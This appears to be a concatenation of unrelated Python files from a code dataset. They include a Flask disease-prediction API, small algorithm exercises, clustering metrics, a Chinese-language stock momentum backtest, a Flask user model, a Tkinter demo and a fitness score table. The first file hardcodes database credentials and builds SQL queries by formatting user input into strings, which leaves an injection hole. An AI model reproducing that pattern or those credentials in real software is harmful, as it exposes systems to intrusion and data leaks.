from flask_mysqldb import MySQL
from sklearn.externals import joblib
app = Flask(__name__)
# SQL config
app.config['MYSQL_HOST'] = 'remotemysql.com'
app.config['MYSQL_USER'] = 'vMg935rEqf'
app.config['MYSQL_PASSWORD'] = 'SkgUJ4EGYq'
app.config['MYSQL_DB'] = 'vMg935rEqf'
mysql = MySQL(app)
model = joblib.load('model.pkl')
f = open('./features.txt', 'r')
features = f.read().split(',')
f = open('./symptoms.txt', 'r')
symptoms = f.read().split(',')
f.close()
feature_dict = {}
for i, f in enumerate(features):
feature_dict[f] = i
@app.route('/predict', methods=['POST'])
def predict():
search = []
data = request.get_json()['symptoms']
cur = mysql.connection.cursor()
for x in data:
cur.execute(
'''SELECT DISTINCT Symptom_CUI FROM vMg935rEqf.`disease-symptom` WHERE Symptom='{0}';'''.format(x))
search.append(cur.fetchone()[0])
sample = np.zeros((len(features),), dtype=np.int)
sample = sample.tolist()
for i, s in enumerate(search):
sample[feature_dict[s]] = 1
sample = np.array(sample).reshape(1, len(sample))
results = model.predict_proba(sample)[0]
diseases = []
for x in model.classes_:
cur.execute(
'''SELECT DISTINCT Disease FROM vMg935rEqf.`disease-symptom` WHERE Disease_CUI = '{0}';'''.format(x))
diseases.append(cur.fetchone()[0])
prob_per_class_dictionary = list(zip(diseases, results))
results_ordered_by_probability = list(map(
lambda x: {"disease": x[0], "prop": x[1] * 100},
sorted(zip(diseases, results), key=lambda x: x[1], reverse=True)))
return jsonify(results_ordered_by_probability[0:10])
@app.route('/symptom', methods=['GET'])
def symptom():
return jsonify(symptoms)
if __name__ == '__main__':
app.run(port=5000, debug=True)
|
18,255 | a91adf290626f681c8e66cacd38424123c98d18b | class Solution:
# @return a tuple, (index1, index2)
def twoSum(self, num, target):
seen = {}
for i in range(len(num)):
res = target -num[i]
if res not in seen:
seen[num[i]] = i+1
else:
return seen[res], i+1
|
18,256 | ada3abee1d55c0bc81327e5fb4415e619d809580 | num = int(input('Please enter a number:'))
if num < 0 :
print('-1')
low = 0
hight = num
mid = (low+hight)/2.0
sign = mid
while mid**2 != num:
if mid**2 >num:
hight=mid
else:
low = mid
mid = (low+hight)/2.0
if sign == mid:
break
print(mid)
# def binary_search(alist, item):
# n = len(alist)
# start = 0
# end = n-1
# while start <= end:
# mid = (start + end) // 2
# if item == alist[mid]:
# return True
# elif item < alist[mid]:
# end = mid - 1
# elif item > alist[mid]:
# start = mid + 1
# return False
# def binary_search2(alist, item):
# n = len(alist)
# if n == 0:
# return False
# mid = n // 2
# if item == alist[mid]:
# return True
# elif item < alist[mid]:
# return binary_search2(alist[:mid], item)
# else:
# return binary_search2(alist[mid+1:], item)
# if __name__ == '__mian__':
# l1 = [22,23,44,64,77,43,76,444,25,54]
# print(binary_search2(l1,22)) |
18,257 | a1beb0bf1919b2fabef1b8476219a6323c30d5fe | import numpy as np
array1 = np.array(range(30))
array2 = np.array([2,3,5])
with open('homework.npz', 'wb') as f:
np.savez(f, array1=array1,array2=array2)
|
18,258 | 74b7dcb9dcff4276cf6eb1c85e0b6b3577e8b65c | import numpy as np
from utility import linear_assignment as la
from sklearn.metrics import accuracy_score
from sklearn.metrics import silhouette_score, davies_bouldin_score, calinski_harabasz_score, normalized_mutual_info_score, confusion_matrix
from sklearn.metrics.cluster import contingency_matrix
from sklearn.cluster import KMeans
def calcolaPurity(labelConosciute, labels):
contingencymatrix = contingency_matrix(labelConosciute, labels)
purity = (np.sum(np.amax(contingencymatrix,axis = 0))/np.sum(contingencymatrix))
return purity
def evaluation(X_selected, X_test, n_clusters, y):
"""
This function calculates ARI, ACC and NMI of clustering results
Input
-----
X_selected: {numpy array}, shape (n_samples, n_selected_features}
input data on the selected features
n_clusters: {int}
number of clusters
y: {numpy array}, shape (n_samples,)
true labels
Output
------
nmi: {float}
Normalized Mutual Information
acc: {float}
Accuracy
"""
k_means = KMeans(n_clusters=n_clusters, init='k-means++', n_init=10, max_iter=300,
tol=0.0001, precompute_distances=True, verbose=0,
random_state=None, copy_x=True, n_jobs=1)
k_means.fit(X_selected)
y_predict = k_means.predict(X_test)
# calculate NMI
nmi = normalized_mutual_info_score(y, y_predict, average_method='arithmetic')
sil = silhouette_score(X_test, y_predict, metric="euclidean")
db_score = davies_bouldin_score(X_test, y_predict)
ch_score = calinski_harabasz_score(X_test, y_predict)
purity = calcolaPurity(y, y_predict)
return nmi, sil, db_score, ch_score, purity |
18,259 | f6e043101889db18dad31493ff4362d24ae09394 | """
Created on Wed Dec 16 01:17:48 2020
@author: zym
"""
import os
import pandas as pd
import numpy as np
import xlwt
months = ['2015-01','2015-02','2015-03','2015-04','2015-05','2015-06','2015-07','2015-08','2015-09','2015-10','2015-11','2015-12',
'2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12',
'2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
'2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
'2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12',
'2020-01','2020-02','2020-03','2020-04','2020-05','2020-06']
# 读取上证A股月度数据
print("\n开始读取上证A股月度数据")
stkcds = [] # 所有股票的证券代码 Stkcd
stocks_Mclsprc = [] # 股票交易月份及对应的月收盘价 Trdmnt Mclsprc
fileName = os.getcwd() + "\\上证A股月度数据.xlsx"
df = pd.DataFrame(pd.read_excel(fileName))
for i in range(len(df)):
s = df.Stkcd[i]
t = {}
t.clear()
if(s not in stkcds):
# print(s)
stkcds.append(s)
t['Stkcd'] = s
j = i
Mclsprc = []
Mclsprc.clear()
while(j<len(df) and df.Stkcd[j]==s):
month_Mclsprc = []
month_Mclsprc.clear()
month_Mclsprc.append(df.Trdmnt[j])
month_Mclsprc.append(df.Mclsprc[j])
Mclsprc.append(month_Mclsprc)
j = j+1
t['Mclsprc'] = Mclsprc
stocks_Mclsprc.append(t)
print("读取完成")
# print(len(stkcds)) # 1533
# print(len(stocks_Mclsprc)) # 1533
# print(stocks_Mclsprc[0])
# stocks_Mclsprc是一个包含若干dict的list 存储读入的A股月度数据
# 每一个dict代表一个股票 以 stocks_Mclsprc[0] 为例 如下所示
# {'Stkcd': 600000, 'Mclsprc': [['2015-01', 14.47], ['2015-02', 14.53], ['2015-03', 15.79], ['2015-04', 18.07], ['2015-05', 17.04], ['2015-06', 16.96], ['2015-07', 15.07], ['2015-08', 14.96], ['2015-09', 16.63], ['2015-10', 16.39], ['2015-11', 18.65], ['2015-12', 18.27], ['2016-01', 16.9], ['2016-02', 18.45], ['2016-03', 17.93], ['2016-04', 17.83], ['2016-05', 18.29], ['2016-06', 15.57], ['2016-07', 15.7], ['2016-08', 16.48], ['2016-09', 16.49], ['2016-10', 16.27], ['2016-11', 17.16], ['2016-12', 16.21], ['2017-01', 16.74], ['2017-02', 16.59], ['2017-03', 16.01], ['2017-04', 15.21], ['2017-05', 12.84], ['2017-06', 12.65], ['2017-07', 13.36], ['2017-08', 12.71], ['2017-09', 12.87], ['2017-10', 12.61], ['2017-11', 12.91], ['2017-12', 12.59], ['2018-01', 13.17], ['2018-02', 12.46], ['2018-03', 11.65], ['2018-04', 11.61], ['2018-05', 10.55], ['2018-06', 9.56], ['2018-07', 10.17], ['2018-08', 10.33], ['2018-09', 10.62], ['2018-10', 10.98], ['2018-11', 10.71], ['2018-12', 9.8], ['2019-01', 10.73], ['2019-02', 11.74], ['2019-03', 11.28], ['2019-04', 11.97], ['2019-05', 11.13], ['2019-06', 11.68], ['2019-07', 11.87], ['2019-08', 11.28], ['2019-09', 11.84], ['2019-10', 12.51], ['2019-11', 11.91], ['2019-12', 12.37], ['2020-01', 11.35], ['2020-02', 10.85], ['2020-03', 10.15], ['2020-04', 10.63], ['2020-05', 10.57], ['2020-06', 10.58]]}
# 从上证A股月度数据读取每个月可用的股票 用于后续选股
stkcds_every_month = {}
for i in range(len(months)):
m = months[i]
stkcds_every_month[m] = [] # 初始化
stkcds_tmp = [] # 记录第一次出现的股票
for i in range(len(df)):
m = df.Trdmnt[i]
s = df.Stkcd[i]
s = str(s)
# 股票在第一次出现时不用计入 因为后续计算月度收益率时需要同时用到本月收益和上月收益 所以从第二次开始出现的股票才是可用的
# 例如 603278 最早的数据是 2017-11 但实际可用的数据从 2017-12 开始
if(s not in stkcds_tmp):
stkcds_tmp.append(s)
else: # 从第二次出现时 开始计入当月可用股票
if(s not in stkcds_every_month[m]):
stkcds_every_month[m].append(s)
# 计算每只股票的月度收益率
# 股票月度收益率 = (本月收盘价-上月收盘价)/上月收盘价
# Mincomes是一个包含若干dict的dict 后续读取股票月度收益率时较为方便 只需要股票的证券代码和交易月份即可读
print("\n开始计算每只股票的月度收益率")
Mincomes = {}
for i in range(len(stkcds)):
s = stocks_Mclsprc[i]['Stkcd']
s = str(s)
n = len(stocks_Mclsprc[i]['Mclsprc'])
Mincomes_one_stock = {}
Mincomes_one_stock.clear()
for j in range(n-1):
last_month_price = stocks_Mclsprc[i]['Mclsprc'][j][1]
this_month = stocks_Mclsprc[i]['Mclsprc'][j+1][0]
this_month_price = stocks_Mclsprc[i]['Mclsprc'][j+1][1]
month_income = (this_month_price-last_month_price)/last_month_price # 月度收益率
Mincomes_one_stock[this_month] = month_income
Mincomes[s] = Mincomes_one_stock
print("计算完成")
# print(len(Mincomes)) # 1533
# print(Mincomes['600000'])
# {'2015-02': 0.004146510020732462, '2015-03': 0.08671713695801789, '2015-04': 0.14439518682710584, '2015-05': -0.057000553403431166, '2015-06': -0.004694835680751074, '2015-07': -0.11143867924528304, '2015-08': -0.007299270072992663, '2015-09': 0.11163101604278061, '2015-10': -0.01443174984966918, '2015-11': 0.13788895668090287, '2015-12': -0.02037533512064338, '2016-01': -0.07498631636562676, '2016-02': 0.091715976331361, '2016-03': -0.028184281842818407, '2016-04': -0.005577244841048602, '2016-05': 0.02579921480650594, '2016-06': -0.14871514488791684, '2016-07': 0.008349389852279962, '2016-08': 0.049681528662420454, '2016-09': 0.0006067961165047336, '2016-10': -0.013341419041843473, '2016-11': 0.05470190534726494, '2016-12': -0.05536130536130532, '2017-01': 0.03269586674892027, '2017-02': -0.008960573476702425, '2017-03': -0.03496081977094625, '2017-04': -0.04996876951905063, '2017-05': -0.1558185404339251, '2017-06': -0.014797507788161956, '2017-07': 0.05612648221343866, '2017-08': -0.04865269461077834, '2017-09': 0.012588512981903882, '2017-10': -0.020202020202020186, '2017-11': 0.023790642347343436, '2017-12': -0.024786986831913268, '2018-01': 0.04606830818109611, '2018-02': -0.053910402429764546, '2018-03': -0.06500802568218302, '2018-04': -0.0034334763948498646, '2018-05': -0.0913006029285098, '2018-06': -0.09383886255924172, '2018-07': 0.06380753138075307, '2018-08': 0.015732546705998048, '2018-09': 0.02807357212003864, '2018-10': 0.03389830508474588, '2018-11': -0.02459016393442619, '2018-12': -0.08496732026143791, '2019-01': 0.09489795918367343, '2019-02': 0.09412861136999065, '2019-03': -0.03918228279386719, '2019-04': 0.06117021276595756, '2019-05': -0.07017543859649121, '2019-06': 0.04941599281221913, '2019-07': 0.01626712328767119, '2019-08': -0.04970513900589721, '2019-09': 0.04964539007092203, '2019-10': 0.056587837837837836, '2019-11': -0.04796163069544362, '2019-12': 0.03862300587741386, '2020-01': -0.08245755860953918, '2020-02': -0.04405286343612335, '2020-03': -0.06451612903225801, '2020-04': 0.04729064039408871, '2020-05': -0.005644402634054609, '2020-06': 0.0009460737937558928}
# print(Mincomes['600010']['2017-07'])
# 0.28310502283105027
# 读取上证指数月度数据
# 市场月度收益率已在xlsx中计算完成 直接读取
# 市场月度收益率 = (本月收盘指数-上月收盘指数)/上月收盘指数
print("\n开始读取上证指数月度数据")
Mincomes_market = {}
fileName = os.getcwd() + "\\上证指数月度数据.xlsx"
df = pd.DataFrame(pd.read_excel(fileName))
for i in range(len(df)):
if(i>0): # 跳过2015-01
month = df.Month[i]
income = df.Mincome[i]
Mincomes_market[month] = income
print("读取完成")
# print(Mincomes_market)
# print(Mincomes_market['2017-07'])
# 0.025247562434473726
# 计算每只股票的超额收益率 AR
# 股票超额收益率 = 股票月度收益率-市场月度收益率
print("\n开始计算每只股票的超额收益率")
Abnormal = {} # 结构同 Mincomes
for i in range(len(stkcds)):
s = stkcds[i]
s = str(s)
Abnormal_one_stock = {}
Abnormal_one_stock.clear()
for j in range(len(months)):
if(j>0):
m = months[j]
if(m in Mincomes[s]):
mincome1 = Mincomes[s][m]
mincome_market1 = Mincomes_market[m]
a = mincome1 - mincome_market1
Abnormal_one_stock[m] = a
Abnormal[s] = Abnormal_one_stock
print("计算完成")
# print(Abnormal['600000'])
# print(Abnormal['600010']['2017-07'])
# 0.25785746039657653
# 选取 5% 还是 10% 作为输家/赢家组合
# select = 0.05
# select = 0.1
# 形成期
# formation_period = ['2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12']
# formation_period = ['2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12',
# '2017-01','2017-02','2017-03','2017-04','2017-05','2017-06']
# formation_period = ['2015-02','2015-03','2015-04','2015-05','2015-06','2015-07','2015-08','2015-09','2015-10','2015-11','2015-12',
# '2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07']
# formation_period = ['2015-02','2015-03','2015-04','2015-05','2015-06','2015-07','2015-08','2015-09','2015-10','2015-11','2015-12',
# '2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12',
# '2017-01','2017-02','2017-03','2017-04','2017-05','2017-06']
# formation_period = ['2015-02','2015-03','2015-04','2015-05','2015-06','2015-07','2015-08','2015-09','2015-10','2015-11','2015-12',
# '2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12']
# formation_period = ['2015-07','2015-08','2015-09','2015-10','2015-11','2015-12',
# '2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12']
# formation_period = ['2015-08','2015-09','2015-10','2015-11','2015-12',
# '2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12',
# '2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12']
# formation_period = ['2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12']
# formation_period = ['2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
# '2018-01','2018-02','2018-03','2018-04','2018-05','2018-06']
# 检验期
# test_period = ['2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
# '2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12',
# '2020-01','2020-02','2020-03','2020-04','2020-05','2020-06']
# test_period = ['2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
# '2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12']
# test_period = ['2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
# '2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06']
# test_period = ['2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
# '2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12']
# test_period = ['2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
# '2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12',
# '2020-01','2020-02','2020-03','2020-04','2020-05','2020-06']
# test_period = ['2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
# '2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12',
# '2020-01','2020-02','2020-03','2020-04','2020-05','2020-06']
# test_period = ['2016-08','2016-09','2016-10','2016-11','2016-12',
# '2017-01','2017-02','2017-03','2017-04','2017-05','2017-06']
# test_period = ['2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06']
# test_period = ['2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12',
# '2020-01','2020-02','2020-03','2020-04','2020-05','2020-06']
# test_period = ['2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12',
# '2020-01','2020-02','2020-03','2020-04','2020-05','2020-06']
# 最优结果 1
formation_period = ['2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12']
test_period = ['2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12',
'2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
'2019-01','2019-02','2019-03','2019-04','2019-05','2019-06','2019-07','2019-08','2019-09','2019-10','2019-11','2019-12',
'2020-01','2020-02','2020-03','2020-04','2020-05','2020-06']
select = 0.05
# 最优结果 2
# formation_period = ['2015-08','2015-09','2015-10','2015-11','2015-12',
# '2016-01','2016-02','2016-03','2016-04','2016-05','2016-06','2016-07','2016-08','2016-09','2016-10','2016-11','2016-12',
# '2017-01','2017-02','2017-03','2017-04','2017-05','2017-06','2017-07','2017-08','2017-09','2017-10','2017-11','2017-12']
# test_period = ['2018-01','2018-02','2018-03','2018-04','2018-05','2018-06','2018-07','2018-08','2018-09','2018-10','2018-11','2018-12',
# '2019-01','2019-02','2019-03','2019-04','2019-05','2019-06']
# select = 0.1
formation = len(formation_period)
test = len(test_period)
split = test_period[0]
print("\n形成期:" + formation_period[0] + " ~ " + formation_period[-1] + " 共"+str(formation)+"个月")
print("检验期:" + test_period[0] + " ~ " +test_period[-1]+ " 共"+str(test)+"个月")
period = str(formation)+"_"+str(test)+"_"+split+"_"+str(select)
# 取形成期和检验期可用股票的交集
sf = stkcds_every_month[formation_period[0]] # 形成期可用股票
# print(len(sf))
for i in range(formation):
mtemp = formation_period[i]
stemp = stkcds_every_month[mtemp]
sf = list(set(stemp).intersection(set(sf)))
# print(len(sf))
st = stkcds_every_month[test_period[0]] # 检验期可用股票
# print(len(st))
for i in range(test):
mtemp = test_period[i]
stemp = stkcds_every_month[mtemp]
st = list(set(stemp).intersection(set(st)))
# print(len(st))
st = list(set(sf).intersection(set(st))) # 取交集
sp = st
# print("\n")
# print(len(sp))
# 根据得到的股票 计算形成期的累计超额收益率 记录检验期的超额收益率
stocks_this_period = [] # 格式是一个包含若干dict的list
for i in range(len(sp)):
one_stock = {}
one_stock.clear()
s = sp[i]
one_stock['Stkcd'] = s
one_stock['Abnormal_formation'] = 0 # 形成期的累计超额收益率
for j in range(formation):
mj = formation_period[j]
one_stock['Abnormal_formation'] = one_stock['Abnormal_formation']+ Abnormal[s][mj]
one_stock['Abnormal_test'] = [] # 检验期每个月的超额收益率
for j in range(test):
mj = test_period[j]
one_stock['Abnormal_test'].append(Abnormal[s][mj])
stocks_this_period.append(one_stock)
# 按形成期的累计超额收益率从小到大排序
stocks_this_period = sorted(stocks_this_period, key=lambda k: k['Abnormal_formation'])
l = len(stocks_this_period)
# 排名前10%(5%)为输家组合 后10%(5%)为赢家组合
# num = int(0.1*l)
# num = int(0.05*l)
num = int(select*l)
loser = stocks_this_period[0:num]
winner = stocks_this_period[l-num:l]
# 将一个投资组合S及相关指标写入EXCEL
def write_Excel(S,name,period):
filepath = (os.getcwd()+"\\分组\\"+period)
isExists=os.path.exists(filepath)
if not isExists:
os.makedirs(filepath)
excelpath = (os.getcwd()+"\\分组\\"+period+"\\"+name+".xls")
workbook = xlwt.Workbook(encoding='utf-8')
sheet = workbook.add_sheet('Sheet1',cell_overwrite_ok=True)
headlist=['Stkcd','Formation']
row=0
col=0
for head in headlist:
sheet.write(row,col,head)
col=col+1
n = len(S)
for i in range(n):
sheet.write(i+1,0,int(S[i]['Stkcd']))
sheet.write(i+1,1,float(S[i]['Abnormal_formation']))
# sheet.write(i+1,2,float(S[i]['Abnormal_test']))
workbook.save(excelpath)
# 将输家组合和赢家组合写入xls
write_Excel(loser,"loser",period)
write_Excel(winner,"winner",period)
# print(winner[0])
# print(Abnormal['600131']['2017-01'])
# 计算一个股票在检验期每个月的累计超额收益率 并加入 one_stock 中
def CAR_stock(S):
num = len(S)
for i in range(num):
one_stock = S[i]
ar = one_stock['Abnormal_test']
CAR_test = []
CAR_test.clear()
for j in range(test):
length = j+1
car = 0
for t in range(length):
car = car + ar[t]
CAR_test.append(car)
S[i]['CAR_test'] = CAR_test
return S
# 计算一个投资组合在检验期每个月的累计超额收益率
def CAR_portfolio(S):
num = len(S)
CAR = []
for i in range(test):
car_point = 0
for j in range(num):
car_point = car_point + S[j]['CAR_test'][i]
car_point = car_point/num
CAR.append(car_point)
return CAR
loser_num = len(loser)
loser = CAR_stock(loser)
loser_CAR = CAR_portfolio(loser)
winner_num = len(winner)
winner = CAR_stock(winner)
winner_CAR = CAR_portfolio(winner)
# for i in range(test):
# print(str(loser_CAR[i])+" "+str(winner_CAR[i]))
result = {'loser':loser_CAR,'winner':winner_CAR}
result = pd.DataFrame(result)
path = (os.getcwd()+"\\结果\\"+period+".xls")
result.to_excel(path)
"""
Created on Wed Dec 16 01:17:48 2020
@author: gy
"""
# 画图
import matplotlib.pyplot as plt
plt.plot(test_period, loser_CAR, color='blue')
plt.plot(test_period, winner_CAR, color='red')
plt.yticks(fontsize=8)
plt.xticks(rotation=90,fontsize=5)
t = "Formation: " + formation_period[0] + " ~ " + formation_period[-1] + " " + str(formation)+" months" + "\nTest: " + test_period[0] + " ~ " +test_period[-1]+ " "+str(test)+" months"+"\nSplit: "+split + " "+str(int(select*100))+"%"
plt.title(t,fontsize=10)
path = (os.getcwd()+"\\结果\\"+period+".png")
plt.savefig(path)
plt.show() |
18,260 | 0ec1ce6e3c61c7be357fae78ee786c374a0a4cd4 | from app import db
from itsdangerous import TimedJSONWebSignatureSerializer as Serializer
from flask.ext.security import Security, SQLAlchemyUserDatastore, UserMixin, RoleMixin, login_required
from flask import session, redirect, current_app
from app import app
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
nickname = db.Column(db.String(64), index=True, unique=True)
email = db.Column(db.String(120), index=True, unique=True)
password = db.Column(db.String(200), index=True, unique=False)
posts = db.relationship('Post', backref='author', lazy='dynamic')
@property
def is_authenticated(self):
return True
@property
def is_active(self):
return True
@property
def is_anonymous(self):
return False
def get_token(self, expiration=1800):
s = Serializer(current_app.config['SECRET_KEY'], expiration)
return s.dumps({'user': self.id}).decode('utf-8')
@staticmethod
def verify_token(token):
s = Serializer(current_app.config['SECRET_KEY'])
try:
data = s.loads(token)
except:
return None
id = data.get('user')
if id:
return User.query.get(id)
return None
def get_id(self):
try:
return unicode(self.id) # python 2
except NameError:
return str(self.id) # python 3
def __repr__(self):
return '<User %r>' % (self.nickname)
class Post(db.Model):
id = db.Column(db.Integer, primary_key = True)
body = db.Column(db.String(140))
timestamp = db.Column(db.DateTime)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'))
def __repr__(self):
return '<Post %r>' % (self.body)
security = Security()
user_datastore = SQLAlchemyUserDatastore(db,User,Post)
security.init_app(app,user_datastore)
|
18,261 | 97ede2081b748ed4620bce645a3de1f20f39b7fd | #!/usr/bin/env python
"""
Demonstrate how to set options shared by all Tk widgets
(font, colors, etc.) There are two methods, either
read options from a file, or set options in the code.
"""
import Tkinter, Pmw, os, sys
def makeGUI(top):
Tkinter.Label(text='Demonstration of\nfont and color options').pack(pady=5)
list = Pmw.ScrolledListBox(top,
label_text = 'my first Pwm widget',
labelpos = 'n')
list.pack(pady=5)
Tkinter.Button(top, text='button 1').pack(pady=5)
Tkinter.Button(top, text='button 2').pack(pady=5)
# insert items:
mylist = ('item1','item2','item3')
for item in mylist:
list.insert('end', item)
def readOptions():
if not os.path.isfile('.tkoptions'):
print 'no file .tkoptions in the current directory'
return
root.option_readfile('.tkoptions')
def addOptions():
general_font = ('Helvetica', 14, 'bold')
label_font = ('Times', 24, 'italic')
listbox_font = ('Helvetica', 20, 'roman bold')
# check which fonts that are actually available:
import tkFont
print 'label_font:',label_font,'\n realized as',\
tkFont.Font(font=label_font).actual()
print 'general_font:',general_font,'\n realized as',\
tkFont.Font(font=general_font).actual()
print 'listbox_font:',listbox_font,'\n realized as',\
tkFont.Font(font=listbox_font).actual()
root.option_add('*Font', general_font)
root.option_add('*Foreground', 'black')
root.option_add('*Label*Font', label_font)
root.option_add('*Listbox*Font', listbox_font)
root.option_add('*Listbox*Background', 'green')
root.option_add('*Listbox*Foreground', 'brown')
root = Tkinter.Tk()
try:
if sys.argv[1] == 'file':
readOptions()
else:
addOptions()
except:
print 'fonts.py file|add'; sys.exit(1)
# initialize Pmw, and make sure to use Tk option database:
Pmw.initialise(root,useTkOptionDb=1)
root.title('demonstrating font and color settings')
# after the GUI is made, readOptions/addOptions have no effect
makeGUI(root)
#print root.option_get()
root.mainloop()
|
18,262 | 4b6bc27fe29a7446d6015cdced42d19787ec8840 | from django.apps import AppConfig
default_app_config = 'management.log.LogConfig'
class LogConfig(AppConfig):
name = 'management.log'
|
18,263 | 5ef2cf6f0e2c5bbb890006d33f75568332d677fa | """
https://docs.google.com/spreadsheets/d/1kuJngdIQibZ15xWVDkV99Aofn7ATJuYbk8HzZqjv8jc/edit#gid=0
https://www.ns.sg/nsp/wcm/connect/9e1e31dc-cc14-46f1-83b2-3246fe2f8bbf/New+IPPT+Format+and+Scoring+System+for+Hometeam.pdf?MOD=AJPERES
"""
from pprint import pprint
# from p_table import pushup_score_table
string = """50 49 48 46 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0
50 50 49 48 46 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0 0 0 0 0 0 0
50 50 50 49 48 46 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0 0 0 0 0 0
50 50 50 50 49 48 46 45 44 43 42 41 40 39 39 38 38 37 37 36 36 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0 0 0 0 0
50 50 50 50 50 49 48 46 45 44 43 42 41 40 39 39 38 38 37 37 36 36 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0 0 0 0
50 50 50 50 50 50 49 48 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0 0 0
50 50 50 50 50 50 50 49 48 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 20 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0 0
50 50 50 50 50 50 50 50 49 48 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 23 22 20 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0 0
50 50 50 50 50 50 50 50 50 49 48 47 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 22 20 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0 0
50 50 50 50 50 50 50 50 50 50 49 48 47 46 45 44 43 42 41 40 40 39 39 38 38 37 37 36 36 35 35 35 34 33 32 31 30 29 28 27 26 25 24 22 20 18 16 14 12 10 8 6 4 2 1 0 0 0 0 0
